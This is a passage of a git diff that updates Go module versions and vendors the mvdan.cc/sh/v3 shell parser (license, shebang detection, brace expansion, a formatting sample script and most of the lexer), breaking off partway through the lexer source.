github.com/rsteube/carapace/internal/shell/oil github.com/rsteube/carapace/internal/shell/powershell -github.com/rsteube/carapace/internal/shell/spec github.com/rsteube/carapace/internal/shell/tcsh github.com/rsteube/carapace/internal/shell/xonsh github.com/rsteube/carapace/internal/shell/zsh +github.com/rsteube/carapace/internal/spec github.com/rsteube/carapace/internal/uid github.com/rsteube/carapace/pkg/cache +github.com/rsteube/carapace/pkg/match github.com/rsteube/carapace/pkg/ps github.com/rsteube/carapace/pkg/style +github.com/rsteube/carapace/pkg/traverse +github.com/rsteube/carapace/pkg/util +github.com/rsteube/carapace/pkg/x github.com/rsteube/carapace/pkg/xdg github.com/rsteube/carapace/third_party/github.com/acarl005/stripansi github.com/rsteube/carapace/third_party/github.com/drone/envsubst @@ -604,6 +628,9 @@ github.com/rsteube/carapace/third_party/github.com/elves/elvish/pkg/cli/lscolors github.com/rsteube/carapace/third_party/github.com/elves/elvish/pkg/ui github.com/rsteube/carapace/third_party/github.com/mitchellh/go-ps github.com/rsteube/carapace/third_party/golang.org/x/sys/execabs +# github.com/rsteube/carapace-shlex v0.1.1 +## explicit; go 1.15 +github.com/rsteube/carapace-shlex # github.com/safchain/ethtool v0.3.0 ## explicit; go 1.16 github.com/safchain/ethtool @@ -668,8 +695,8 @@ github.com/tailscale/wireguard-go/tun # github.com/tcnksm/go-httpstat v0.2.0 ## explicit github.com/tcnksm/go-httpstat -# github.com/tetratelabs/wazero v1.3.1 -## explicit; go 1.18 +# github.com/tetratelabs/wazero v1.4.0 +## explicit; go 1.19 github.com/tetratelabs/wazero github.com/tetratelabs/wazero/api github.com/tetratelabs/wazero/experimental @@ -736,7 +763,7 @@ go4.org/mem # go4.org/netipx v0.0.0-20230824141953-6213f710f925 ## explicit; go 1.18 go4.org/netipx -# golang.org/x/crypto v0.15.0 +# golang.org/x/crypto v0.17.0 ## explicit; go 1.18 golang.org/x/crypto/acme golang.org/x/crypto/acme/autocert @@ -768,7 +795,7 @@ golang.org/x/crypto/scrypt golang.org/x/crypto/ssh golang.org/x/crypto/ssh/agent golang.org/x/crypto/ssh/internal/bcrypt_pbkdf -# golang.org/x/exp v0.0.0-20230905200255-921286631fa9 +# golang.org/x/exp v0.0.0-20231219180239-dc181d75b848 ## explicit; go 1.20 golang.org/x/exp/constraints golang.org/x/exp/maps @@ -776,11 +803,11 @@ golang.org/x/exp/slices golang.org/x/exp/slog golang.org/x/exp/slog/internal golang.org/x/exp/slog/internal/buffer -# golang.org/x/mod v0.13.0 +# golang.org/x/mod v0.14.0 ## explicit; go 1.18 golang.org/x/mod/semver -# golang.org/x/net v0.17.0 -## explicit; go 1.17 +# golang.org/x/net v0.19.0 +## explicit; go 1.18 golang.org/x/net/bpf golang.org/x/net/dns/dnsmessage golang.org/x/net/http/httpguts @@ -799,20 +826,19 @@ golang.org/x/net/ipv6 golang.org/x/net/proxy golang.org/x/net/route golang.org/x/net/trace -# golang.org/x/sync v0.4.0 -## explicit; go 1.17 +# golang.org/x/sync v0.5.0 +## explicit; go 1.18 golang.org/x/sync/errgroup -# golang.org/x/sys v0.14.0 +# golang.org/x/sys v0.15.0 ## explicit; go 1.18 golang.org/x/sys/cpu -golang.org/x/sys/execabs golang.org/x/sys/plan9 golang.org/x/sys/unix golang.org/x/sys/windows golang.org/x/sys/windows/registry golang.org/x/sys/windows/svc golang.org/x/sys/windows/svc/mgr -# golang.org/x/term v0.14.0 +# golang.org/x/term v0.15.0 ## explicit; go 1.18 golang.org/x/term # golang.org/x/text v0.14.0 @@ -838,7 +864,7 @@ golang.org/x/text/width # golang.org/x/time v0.3.0 ## explicit golang.org/x/time/rate -# golang.org/x/tools v0.14.0 +# golang.org/x/tools v0.16.0 ## explicit; go 1.18 golang.org/x/tools/go/gcexportdata golang.org/x/tools/go/internal/packagesdriver @@ -856,6 +882,7 @@ golang.org/x/tools/internal/pkgbits golang.org/x/tools/internal/tokeninternal golang.org/x/tools/internal/typeparams golang.org/x/tools/internal/typesinternal +golang.org/x/tools/internal/versions # golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2 ## explicit; go 1.17 golang.zx2c4.com/wintun @@ -1144,6 +1171,10 @@ modernc.org/strutil # modernc.org/token v1.0.1 ## explicit modernc.org/token +# mvdan.cc/sh/v3 v3.7.0 +## explicit; go 1.19 +mvdan.cc/sh/v3/fileutil +mvdan.cc/sh/v3/syntax # nhooyr.io/websocket v1.8.7 ## explicit; go 1.13 nhooyr.io/websocket diff --git a/vendor/mvdan.cc/sh/v3/LICENSE b/vendor/mvdan.cc/sh/v3/LICENSE new file mode 100644 index 0000000000..2a5268e5f1 --- /dev/null +++ b/vendor/mvdan.cc/sh/v3/LICENSE @@ -0,0 +1,27 @@ +Copyright (c) 2016, Daniel Martí. All rights reserved. + +Redistribution and use in source and binary forms, with or without +modification, are permitted provided that the following conditions are +met: + + * Redistributions of source code must retain the above copyright +notice, this list of conditions and the following disclaimer. + * Redistributions in binary form must reproduce the above +copyright notice, this list of conditions and the following disclaimer +in the documentation and/or other materials provided with the +distribution. + * Neither the name of the copyright holder nor the names of its +contributors may be used to endorse or promote products derived from +this software without specific prior written permission. + +THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +"AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +(INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. diff --git a/vendor/mvdan.cc/sh/v3/fileutil/file.go b/vendor/mvdan.cc/sh/v3/fileutil/file.go new file mode 100644 index 0000000000..249ae94c4e --- /dev/null +++ b/vendor/mvdan.cc/sh/v3/fileutil/file.go @@ -0,0 +1,85 @@ +// Copyright (c) 2016, Daniel Martí +// See LICENSE for licensing information + +// Package fileutil allows inspecting shell files, such as detecting whether a +// file may be shell or extracting its shebang. +package fileutil + +import ( + "io/fs" + "os" + "regexp" + "strings" +) + +var ( + shebangRe = regexp.MustCompile(`^#!\s?/(usr/)?bin/(env\s+)?(sh|bash|mksh|bats|zsh)(\s|$)`) + extRe = regexp.MustCompile(`\.(sh|bash|mksh|bats|zsh)$`) +) + +// TODO: consider removing HasShebang in favor of Shebang in v4 + +// HasShebang reports whether bs begins with a valid shell shebang. +// It supports variations with /usr and env. +func HasShebang(bs []byte) bool { + return Shebang(bs) != "" +} + +// Shebang parses a "#!" sequence from the beginning of the input bytes, +// and returns the shell that it points to. +// +// For instance, it returns "sh" for "#!/bin/sh", +// and "bash" for "#!/usr/bin/env bash". +func Shebang(bs []byte) string { + m := shebangRe.FindSubmatch(bs) + if m == nil { + return "" + } + return string(m[3]) +} + +// ScriptConfidence defines how likely a file is to be a shell script, +// from complete certainty that it is not one to complete certainty that +// it is one. +type ScriptConfidence int + +const ( + // ConfNotScript describes files which are definitely not shell scripts, + // such as non-regular files or files with a non-shell extension. + ConfNotScript ScriptConfidence = iota + + // ConfIfShebang describes files which might be shell scripts, depending + // on the shebang line in the file's contents. Since CouldBeScript only + // works on os.FileInfo, the answer in this case can't be final. + ConfIfShebang + + // ConfIsScript describes files which are definitely shell scripts, + // which are regular files with a valid shell extension. + ConfIsScript +) + +// CouldBeScript is a shortcut for CouldBeScript2(fs.FileInfoToDirEntry(info)). +// +// Deprecated: prefer CouldBeScript2, which usually requires fewer syscalls. +func CouldBeScript(info os.FileInfo) ScriptConfidence { + return CouldBeScript2(fs.FileInfoToDirEntry(info)) +} + +// CouldBeScript2 reports how likely a directory entry is to be a shell script. +// It discards directories, symlinks, hidden files and files with non-shell +// extensions. +func CouldBeScript2(entry fs.DirEntry) ScriptConfidence { + name := entry.Name() + switch { + case entry.IsDir(), name[0] == '.': + return ConfNotScript + case entry.Type()&os.ModeSymlink != 0: + return ConfNotScript + case extRe.MatchString(name): + return ConfIsScript + case strings.IndexByte(name, '.') > 0: + return ConfNotScript // different extension + default: + return ConfIfShebang + } +} diff --git a/vendor/mvdan.cc/sh/v3/syntax/braces.go b/vendor/mvdan.cc/sh/v3/syntax/braces.go new file mode 100644 index 0000000000..f3452819ed --- /dev/null +++ b/vendor/mvdan.cc/sh/v3/syntax/braces.go @@ -0,0 +1,177 @@ +// Copyright (c) 2018, Daniel Martí +// See LICENSE for licensing information + +package syntax + +import "strconv" + +var ( + litLeftBrace = &Lit{Value: "{"} + litComma = &Lit{Value: ","} + litDots = &Lit{Value: ".."} + litRightBrace = &Lit{Value: "}"} +) + +// SplitBraces parses brace expansions within a word's literal parts. If any +// valid brace expansions are found, they are replaced with BraceExp nodes, and +// the function returns true. Otherwise, the word is left untouched and the +// function returns false. +// +// For example, a literal word "foo{bar,baz}" will result in a word containing +// the literal "foo", and a brace expansion with the elements "bar" and "baz". +// +// It does not return an error; malformed brace expansions are simply skipped. +// For example, the literal word "a{b" is left unchanged. +func SplitBraces(word *Word) bool { + toSplit := false + top := &Word{} + acc := top + var cur *BraceExp + open := []*BraceExp{} + + pop := func() *BraceExp { + old := cur + open = open[:len(open)-1] + if len(open) == 0 { + cur = nil + acc = top + } else { + cur = open[len(open)-1] + acc = cur.Elems[len(cur.Elems)-1] + } + return old + } + addLit := func(lit *Lit) { + acc.Parts = append(acc.Parts, lit) + } + + for _, wp := range word.Parts { + lit, ok := wp.(*Lit) + if !ok { + acc.Parts = append(acc.Parts, wp) + continue + } + last := 0 + for j := 0; j < len(lit.Value); j++ { + addlitidx := func() { + if last == j { + return // empty lit + } + l2 := *lit + l2.Value = l2.Value[last:j] + addLit(&l2) + } + switch lit.Value[j] { + case '{': + addlitidx() + acc = &Word{} + cur = &BraceExp{Elems: []*Word{acc}} + open = append(open, cur) + case ',': + if cur == nil { + continue + } + addlitidx() + acc = &Word{} + cur.Elems = append(cur.Elems, acc) + case '.': + if cur == nil { + continue + } + if j+1 >= len(lit.Value) || lit.Value[j+1] != '.' { + continue + } + addlitidx() + cur.Sequence = true + acc = &Word{} + cur.Elems = append(cur.Elems, acc) + j++ + case '}': + if cur == nil { + continue + } + toSplit = true + addlitidx() + br := pop() + if len(br.Elems) == 1 { + // return {x} to a non-brace + addLit(litLeftBrace) + acc.Parts = append(acc.Parts, br.Elems[0].Parts...) + addLit(litRightBrace) + break + } + if !br.Sequence { + acc.Parts = append(acc.Parts, br) + break + } + var chars [2]bool + broken := false + for i, elem := range br.Elems[:2] { + val := elem.Lit() + if _, err := strconv.Atoi(val); err == nil { + } else if len(val) == 1 && + 'a' <= val[0] && val[0] <= 'z' { + chars[i] = true + } else { + broken = true + } + } + if len(br.Elems) == 3 { + // increment must be a number + val := br.Elems[2].Lit() + if _, err := strconv.Atoi(val); err != nil { + broken = true + } + } + // are start and end both chars or + // non-chars? + if chars[0] != chars[1] { + broken = true + } + if !broken { + acc.Parts = append(acc.Parts, br) + break + } + // return broken {x..y[..incr]} to a non-brace + addLit(litLeftBrace) + for i, elem := range br.Elems { + if i > 0 { + addLit(litDots) + } + acc.Parts = append(acc.Parts, elem.Parts...) + } + addLit(litRightBrace) + default: + continue + } + last = j + 1 + } + if last == 0 { + addLit(lit) + } else { + left := *lit + left.Value = left.Value[last:] + addLit(&left) + } + } + if !toSplit { + return false + } + // open braces that were never closed fall back to non-braces + for acc != top { + br := pop() + addLit(litLeftBrace) + for i, elem := range br.Elems { + if i > 0 { + if br.Sequence { + addLit(litDots) + } else { + addLit(litComma) + } + } + acc.Parts = append(acc.Parts, elem.Parts...) + } + } + *word = *top + return true +} diff --git a/vendor/mvdan.cc/sh/v3/syntax/canonical.sh b/vendor/mvdan.cc/sh/v3/syntax/canonical.sh new file mode 100644 index 0000000000..012f48dd36 --- /dev/null +++ b/vendor/mvdan.cc/sh/v3/syntax/canonical.sh @@ -0,0 +1,37 @@ +#!/bin/bash + +# separate comment + +! foo bar >a & + +foo() { bar; } + +{ + var1="some long value" # var1 comment + var2=short # var2 comment +} + +if foo; then bar; fi + +for foo in a b c; do + bar +done + +case $foo in +a) A ;; +b) + B + ;; +esac + +foo | bar +foo && + $(bar) && + (more) + +foo 2>&1 +foo <<-EOF + bar +EOF + +$((3 + 4)) diff --git a/vendor/mvdan.cc/sh/v3/syntax/doc.go b/vendor/mvdan.cc/sh/v3/syntax/doc.go new file mode 100644 index 0000000000..5c6275e46c --- /dev/null +++ b/vendor/mvdan.cc/sh/v3/syntax/doc.go @@ -0,0 +1,6 @@ +// Copyright (c) 2016, Daniel Martí +// See LICENSE for licensing information + +// Package syntax implements parsing and formatting of shell programs. +// It supports POSIX Shell, Bash, and mksh. +package syntax diff --git a/vendor/mvdan.cc/sh/v3/syntax/lexer.go b/vendor/mvdan.cc/sh/v3/syntax/lexer.go new file mode 100644 index 0000000000..b5dddab7e9 --- /dev/null +++ b/vendor/mvdan.cc/sh/v3/syntax/lexer.go @@ -0,0 +1,1209 @@ +// Copyright (c) 2016, Daniel Martí +// See LICENSE for licensing information + +package syntax + +import ( + "bytes" + "io" + "unicode/utf8" +) + +// bytes that form or start a token +func regOps(r rune) bool { + switch r { + case ';', '"', '\'', '(', ')', '$', '|', '&', '>', '<', '`': + return true + } + return false +} + +// tokenize these inside parameter expansions +func paramOps(r rune) bool { + switch r { + case '}', '#', '!', ':', '-', '+', '=', '?', '%', '[', ']', '/', '^', + ',', '@', '*': + return true + } + return false +} + +// these start a parameter expansion name +func paramNameOp(r rune) bool { + switch r { + case '}', ':', '+', '=', '%', '[', ']', '/', '^', ',': + return false + } + return true +} + +// tokenize these inside arithmetic expansions +func arithmOps(r rune) bool { + switch r { + case '+', '-', '!', '~', '*', '/', '%', '(', ')', '^', '<', '>', ':', '=', + ',', '?', '|', '&', '[', ']', '#': + return true + } + return false +} + +func bquoteEscaped(b byte) bool { + switch b { + case '$', '`', '\\': + return true + } + return false +} + +const escNewl rune = utf8.RuneSelf + 1 + +func (p *Parser) rune() rune { + if p.r == '\n' || p.r == escNewl { + // p.r instead of b so that newline + // character positions don't have col 0. + if p.line++; p.line > lineMax { + p.lineOverflow = true + } + p.col = 0 + p.colOverflow = false + } + if p.col += p.w; p.col > colMax { + p.colOverflow = true + } + bquotes := 0 +retry: + if p.bsp < len(p.bs) { + if b := p.bs[p.bsp]; b < utf8.RuneSelf { + p.bsp++ + if b == '\x00' { + // Ignore null bytes while parsing, like bash. + goto retry + } + if b == '\\' { + if p.r == '\\' { + } else if p.peekByte('\n') { + p.bsp++ + p.w, p.r = 1, escNewl + return escNewl + } else if p.peekBytes("\r\n") { + p.bsp += 2 + p.w, p.r = 2, escNewl + return escNewl + } + if p.openBquotes > 0 && bquotes < p.openBquotes && + p.bsp < len(p.bs) && bquoteEscaped(p.bs[p.bsp]) { + bquotes++ + goto retry + } + } + if b == '`' { + p.lastBquoteEsc = bquotes + } + if p.litBs != nil { + p.litBs = append(p.litBs, b) + } + p.w, p.r = 1, rune(b) + return p.r + } + if !utf8.FullRune(p.bs[p.bsp:]) { + // we need more bytes to read a full non-ascii rune + p.fill() + } + var w int + p.r, w = utf8.DecodeRune(p.bs[p.bsp:]) + if p.litBs != nil { + p.litBs = append(p.litBs, p.bs[p.bsp:p.bsp+w]...) + } + p.bsp += w + if p.r == utf8.RuneError && w == 1 { + p.posErr(p.nextPos(), "invalid UTF-8 encoding") + } + p.w = w + } else { + if p.r == utf8.RuneSelf { + } else if p.fill(); p.bs == nil { + p.bsp++ + p.r = utf8.RuneSelf + p.w = 1 + } else { + goto retry + } + } + return p.r +} + +// fill reads more bytes from the input src into readBuf. Any bytes that +// had not yet been used at the end of the buffer are slid into the +// beginning of the buffer. +func (p *Parser) fill() { + p.offs += p.bsp + left := len(p.bs) - p.bsp + copy(p.readBuf[:left], p.readBuf[p.bsp:]) +readAgain: + n, err := 0, p.readErr + if err == nil { + n, err = p.src.Read(p.readBuf[left:]) + p.readErr = err + } + if n == 0 { + if err == nil { + goto readAgain + } + // don't use p.errPass as we don't want to overwrite p.tok + if err != io.EOF { + p.err = err + } + if left > 0 { + p.bs = p.readBuf[:left] + } else { + p.bs = nil + } + } else { + p.bs = p.readBuf[:left+n] + } + p.bsp = 0 +} + +func (p *Parser) nextKeepSpaces() { + r := p.r + if p.quote != hdocBody && p.quote != hdocBodyTabs { + // Heredocs handle escaped newlines in a special way, but others + // do not. + for r == escNewl { + r = p.rune() + } + } + p.pos = p.nextPos() + switch p.quote { + case paramExpRepl: + switch r { + case '}', '/': + p.tok = p.paramToken(r) + case '`', '"', '$', '\'': + p.tok = p.regToken(r) + default: + p.advanceLitOther(r) + } + case dblQuotes: + switch r { + case '`', '"', '$': + p.tok = p.dqToken(r) + default: + p.advanceLitDquote(r) + } + case hdocBody, hdocBodyTabs: + switch r { + case '`', '$': + p.tok = p.dqToken(r) + default: + p.advanceLitHdoc(r) + } + default: // paramExpExp: + switch r { + case '}': + p.tok = p.paramToken(r) + case '`', '"', '$', '\'': + p.tok = p.regToken(r) + default: + p.advanceLitOther(r) + } + } + if p.err != nil && p.tok != _EOF { + p.tok = _EOF + } +} + +func (p *Parser) next() { + if p.r == utf8.RuneSelf { + p.tok = _EOF + return + } + p.spaced = false + if p.quote&allKeepSpaces != 0 { + p.nextKeepSpaces() + return + } + r := p.r + for r == escNewl { + r = p.rune() + } +skipSpace: + for { + switch r { + case utf8.RuneSelf: + p.tok = _EOF + return + case escNewl: + r = p.rune() + case ' ', '\t', '\r': + p.spaced = true + r = p.rune() + case '\n': + if p.tok == _Newl { + // merge consecutive newline tokens + r = p.rune() + continue + } + p.spaced = true + p.tok = _Newl + if p.quote != hdocWord && len(p.heredocs) > p.buriedHdocs { + p.doHeredocs() + } + return + default: + break skipSpace + } + } + if p.stopAt != nil && (p.spaced || p.tok == illegalTok || p.stopToken()) { + w := utf8.RuneLen(r) + if bytes.HasPrefix(p.bs[p.bsp-w:], p.stopAt) { + p.r = utf8.RuneSelf + p.w = 1 + p.tok = _EOF + return + } + } + p.pos = p.nextPos() + switch { + case p.quote&allRegTokens != 0: + switch r { + case ';', '"', '\'', '(', ')', '$', '|', '&', '>', '<', '`': + p.tok = p.regToken(r) + case '#': + // If we're parsing $foo#bar, ${foo}#bar, 'foo'#bar, or "foo"#bar, + // #bar is a continuation of the same word, not a comment. + // TODO: support $(foo)#bar and `foo`#bar as well, which is slightly tricky, + // as we can't easily tell them apart from (foo)#bar and `#bar`, + // where #bar should remain a comment. + if !p.spaced { + switch p.tok { + case _LitWord, rightBrace, sglQuote, dblQuote: + p.advanceLitNone(r) + return + } + } + r = p.rune() + p.newLit(r) + runeLoop: + for { + switch r { + case '\n', utf8.RuneSelf: + break runeLoop + case escNewl: + p.litBs = append(p.litBs, '\\', '\n') + break runeLoop + case '`': + if p.backquoteEnd() { + break runeLoop + } + } + r = p.rune() + } + if p.keepComments { + *p.curComs = append(*p.curComs, Comment{ + Hash: p.pos, + Text: p.endLit(), + }) + } else { + p.litBs = nil + } + p.next() + case '[', '=': + if p.quote == arrayElems { + p.tok = p.paramToken(r) + } else { + p.advanceLitNone(r) + } + case '?', '*', '+', '@', '!': + if p.extendedGlob() { + switch r { + case '?': + p.tok = globQuest + case '*': + p.tok = globStar + case '+': + p.tok = globPlus + case '@': + p.tok = globAt + default: // '!' + p.tok = globExcl + } + p.rune() + p.rune() + } else { + p.advanceLitNone(r) + } + default: + p.advanceLitNone(r) + } + case p.quote&allArithmExpr != 0 && arithmOps(r): + p.tok = p.arithmToken(r) + case p.quote&allParamExp != 0 && paramOps(r): + p.tok = p.paramToken(r) + case p.quote == testExprRegexp: + if !p.rxFirstPart && p.spaced { + p.quote = noState + goto skipSpace + } + p.rxFirstPart = false + switch r { + case ';', '"', '\'', '$', '&', '>', '<', '`': + p.tok = p.regToken(r) + case ')': + if p.rxOpenParens > 0 { + // continuation of open paren + p.advanceLitRe(r) + } else { + p.tok = rightParen + p.quote = noState + p.rune() // we are tokenizing manually + } + default: // including '(', '|' + p.advanceLitRe(r) + } + case regOps(r): + p.tok = p.regToken(r) + default: + p.advanceLitOther(r) + } + if p.err != nil && p.tok != _EOF { + p.tok = _EOF + } +} + +// extendedGlob determines whether we're parsing a Bash extended globbing expression. +// For example, whether `*` or `@` are followed by `(` to form `@(foo)`. +func (p *Parser) extendedGlob() bool { + if p.val == "function" { + return false + } + if p.peekByte('(') { + // NOTE: empty pattern list is a valid globbing syntax like `@()`, + // but we'll operate on the "likelihood" that it is a function; + // only tokenize if its a non-empty pattern list. + // We do this after peeking for just one byte, so that the input `echo *` + // followed by a newline does not hang an interactive shell parser until + // another byte is input. + return !p.peekBytes("()") + } + return false +} + +func (p *Parser) peekBytes(s string) bool { + peekEnd := p.bsp + len(s) + // TODO: This should loop for slow readers, e.g. those providing one byte at + // a time. Use a loop and test it with testing/iotest.OneByteReader. + if peekEnd > len(p.bs) { + p.fill() + } + return peekEnd <= len(p.bs) && bytes.HasPrefix(p.bs[p.bsp:peekEnd], []byte(s)) +} + +func (p *Parser) peekByte(b byte) bool { + if p.bsp == len(p.bs) { + p.fill() + } + return p.bsp < len(p.bs) && p.bs[p.bsp] == b +} + +func (p *Parser) regToken(r rune) token { + switch r { + case '\'': + if p.openBquotes > 0 { + // bury openBquotes + p.buriedBquotes = p.openBquotes + p.openBquotes = 0 + } + p.rune() + return sglQuote + case '"': + p.rune() + return dblQuote + case '`': + // Don't call p.rune, as we need to work out p.openBquotes to + // properly handle backslashes in the lexer. + return bckQuote + case '&': + switch p.rune() { + case '&': + p.rune() + return andAnd + case '>': + if p.rune() == '>' { + p.rune() + return appAll + } + return rdrAll + } + return and + case '|': + switch p.rune() { + case '|': + p.rune() + return orOr + case '&': + if p.lang == LangPOSIX { + break + } + p.rune() + return orAnd + } + return or + case '$': + switch p.rune() { + case '\'': + if p.lang == LangPOSIX { + break + } + p.rune() + return dollSglQuote + case '"': + if p.lang == LangPOSIX { + break + } + p.rune() + return dollDblQuote + case '{': + p.rune() + return dollBrace + case '[': + if !p.lang.isBash() || p.quote == paramExpName { + // latter to not tokenise ${$[@]} as $[ + break + } + p.rune() + return dollBrack + case '(': + if p.rune() == '(' { + p.rune() + return dollDblParen + } + return dollParen + } + return dollar + case '(': + if p.rune() == '(' && p.lang != LangPOSIX && p.quote != testExpr { + p.rune() + return dblLeftParen + } + return leftParen + case ')': + p.rune() + return rightParen + case ';': + switch p.rune() { + case ';': + if p.rune() == '&' && p.lang.isBash() { + p.rune() + return dblSemiAnd + } + return dblSemicolon + case '&': + if p.lang == LangPOSIX { + break + } + p.rune() + return semiAnd + case '|': + if p.lang != LangMirBSDKorn { + break + } + p.rune() + return semiOr + } + return semicolon + case '<': + switch p.rune() { + case '<': + if r = p.rune(); r == '-' { + p.rune() + return dashHdoc + } else if r == '<' { + p.rune() + return wordHdoc + } + return hdoc + case '>': + p.rune() + return rdrInOut + case '&': + p.rune() + return dplIn + case '(': + if !p.lang.isBash() { + break + } + p.rune() + return cmdIn + } + return rdrIn + default: // '>' + switch p.rune() { + case '>': + p.rune() + return appOut + case '&': + p.rune() + return dplOut + case '|': + p.rune() + return clbOut + case '(': + if !p.lang.isBash() { + break + } + p.rune() + return cmdOut + } + return rdrOut + } +} + +func (p *Parser) dqToken(r rune) token { + switch r { + case '"': + p.rune() + return dblQuote + case '`': + // Don't call p.rune, as we need to work out p.openBquotes to + // properly handle backslashes in the lexer. + return bckQuote + default: // '$' + switch p.rune() { + case '{': + p.rune() + return dollBrace + case '[': + if !p.lang.isBash() { + break + } + p.rune() + return dollBrack + case '(': + if p.rune() == '(' { + p.rune() + return dollDblParen + } + return dollParen + } + return dollar + } +} + +func (p *Parser) paramToken(r rune) token { + switch r { + case '}': + p.rune() + return rightBrace + case ':': + switch p.rune() { + case '+': + p.rune() + return colPlus + case '-': + p.rune() + return colMinus + case '?': + p.rune() + return colQuest + case '=': + p.rune() + return colAssgn + } + return colon + case '+': + p.rune() + return plus + case '-': + p.rune() + return minus + case '?': + p.rune() + return quest + case '=': + p.rune() + return assgn + case '%': + if p.rune() == '%' { + p.rune() + return dblPerc + } + return perc + case '#': + if p.rune() == '#' { + p.rune() + return dblHash + } + return hash + case '!': + p.rune() + return exclMark + case '[': + p.rune() + return leftBrack + case ']': + p.rune() + return rightBrack + case '/': + if p.rune() == '/' && p.quote != paramExpRepl { + p.rune() + return dblSlash + } + return slash + case '^': + if p.rune() == '^' { + p.rune() + return dblCaret + } + return caret + case ',': + if p.rune() == ',' { + p.rune() + return dblComma + } + return comma + case '@': + p.rune() + return at + default: // '*' + p.rune() + return star + } +} + +func (p *Parser) arithmToken(r rune) token { + switch r { + case '!': + if p.rune() == '=' { + p.rune() + return nequal + } + return exclMark + case '=': + if p.rune() == '=' { + p.rune() + return equal + } + return assgn + case '~': + p.rune() + return tilde + case '(': + p.rune() + return leftParen + case ')': + p.rune() + return rightParen + case '&': + switch p.rune() { + case '&': + p.rune() + return andAnd + case '=': + p.rune() + return andAssgn + } + return and + case '|': + switch p.rune() { + case '|': + p.rune() + return orOr + case '=': + p.rune() + return orAssgn + } + return or + case '<': + switch p.rune() { + case '<': + if p.rune() == '=' { + p.rune() + return shlAssgn + } + return hdoc + case '=': + p.rune() + return lequal + } + return rdrIn + case '>': + switch p.rune() { + case '>': + if p.rune() == '=' { + p.rune() + return shrAssgn + } + return appOut + case '=': + p.rune() + return gequal + } + return rdrOut + case '+': + switch p.rune() { + case '+': + p.rune() + return addAdd + case '=': + p.rune() + return addAssgn + } + return plus + case '-': + switch p.rune() { + case '-': + p.rune() + return subSub + case '=': + p.rune() + return subAssgn + } + return minus + case '%': + if p.rune() == '=' { + p.rune() + return remAssgn + } + return perc + case '*': + switch p.rune() { + case '*': + p.rune() + return power + case '=': + p.rune() + return mulAssgn + } + return star + case '/': + if p.rune() == '=' { + p.rune() + return quoAssgn + } + return slash + case '^': + if p.rune() == '=' { + p.rune() + return xorAssgn + } + return caret + case '[': + p.rune() + return leftBrack + case ']': + p.rune() + return rightBrack + case ',': + p.rune() + return comma + case '?': + p.rune() + return quest + case ':': + p.rune() + return colon + default: // '#' + p.rune() + return hash + } +} + +func (p *Parser) newLit(r rune) { + switch { + case r < utf8.RuneSelf: + p.litBs = p.litBuf[:1] + p.litBs[0] = byte(r) + case r > escNewl: + w := utf8.RuneLen(r) + p.litBs = append(p.litBuf[:0], p.bs[p.bsp-w:p.bsp]...) + default: + // don't let r == utf8.RuneSelf go to the second case as RuneLen + // would return -1 + p.litBs = p.litBuf[:0] + } +} + +func (p *Parser) endLit() (s string) { + if p.r == utf8.RuneSelf || p.r == escNewl { + s = string(p.litBs) + } else { + s = string(p.litBs[:len(p.litBs)-p.w]) + } + p.litBs = nil + return +} + +func (p *Parser) isLitRedir() bool { + lit := p.litBs[:len(p.litBs)-1] + if lit[0] == '{' && lit[len(lit)-1] == '}' { + return ValidName(string(lit[1 : len(lit)-1])) + } + for _, b := range lit { + switch b { + case '0', '1', '2', '3', '4', '5', '6', '7', '8', '9': + default: + return false + } + } + return true +} + +func (p *Parser) advanceNameCont(r rune) { + // we know that r is a letter or underscore +loop: + for p.newLit(r); r != utf8.RuneSelf; r = p.rune() { + switch { + case 'a' <= r && r <= 'z': + case 'A' <= r && r <= 'Z': + case r == '_': + case '0' <= r && r <= '9': + case r == escNewl: + default: + break loop + } + } + p.tok, p.val = _LitWord, p.endLit() +} + +func (p *Parser) advanceLitOther(r rune) { + tok := _LitWord +loop: + for p.newLit(r); r != utf8.RuneSelf; r = p.rune() { + switch r { + case '\\': // escaped byte follows + p.rune() + case '\'', '"', '`', '$': + tok = _Lit + break loop + case '}': + if p.quote&allParamExp != 0 { + break loop + } + case '/': + if p.quote != paramExpExp { + break loop + } + case ':', '=', '%', '^', ',', '?', '!', '~', '*': + if p.quote&allArithmExpr != 0 || p.quote == paramExpName { + break loop + } + case '[', ']': + if p.lang != LangPOSIX && p.quote&allArithmExpr != 0 { + break loop + } + fallthrough + case '#', '@': + if p.quote&allParamReg != 0 { + break loop + } + case '+', '-', ' ', '\t', ';', '&', '>', '<', '|', '(', ')', '\n', '\r': + if p.quote&allKeepSpaces == 0 { + break loop + } + } + } + p.tok, p.val = tok, p.endLit() +} + +func (p *Parser) advanceLitNone(r rune) { + p.eqlOffs = -1 + tok := _LitWord +loop: + for p.newLit(r); r != utf8.RuneSelf; r = p.rune() { + switch r { + case ' ', '\t', '\n', '\r', '&', '|', ';', '(', ')': + break loop + case '\\': // escaped byte follows + p.rune() + case '>', '<': + if p.peekByte('(') { + tok = _Lit + } else if p.isLitRedir() { + tok = _LitRedir + } + break loop + case '`': + if p.quote != subCmdBckquo { + tok = _Lit + } + break loop + case '"', '\'', '$': + tok = _Lit + break loop + case '?', '*', '+', '@', '!': + if p.extendedGlob() { + tok = _Lit + break loop + } + case '=': + if p.eqlOffs < 0 { + p.eqlOffs = len(p.litBs) - 1 + } + case '[': + if p.lang != LangPOSIX && len(p.litBs) > 1 && p.litBs[0] != '[' { + tok = _Lit + break loop + } + } + } + p.tok, p.val = tok, p.endLit() +} + +func (p *Parser) advanceLitDquote(r rune) { + tok := _LitWord +loop: + for p.newLit(r); 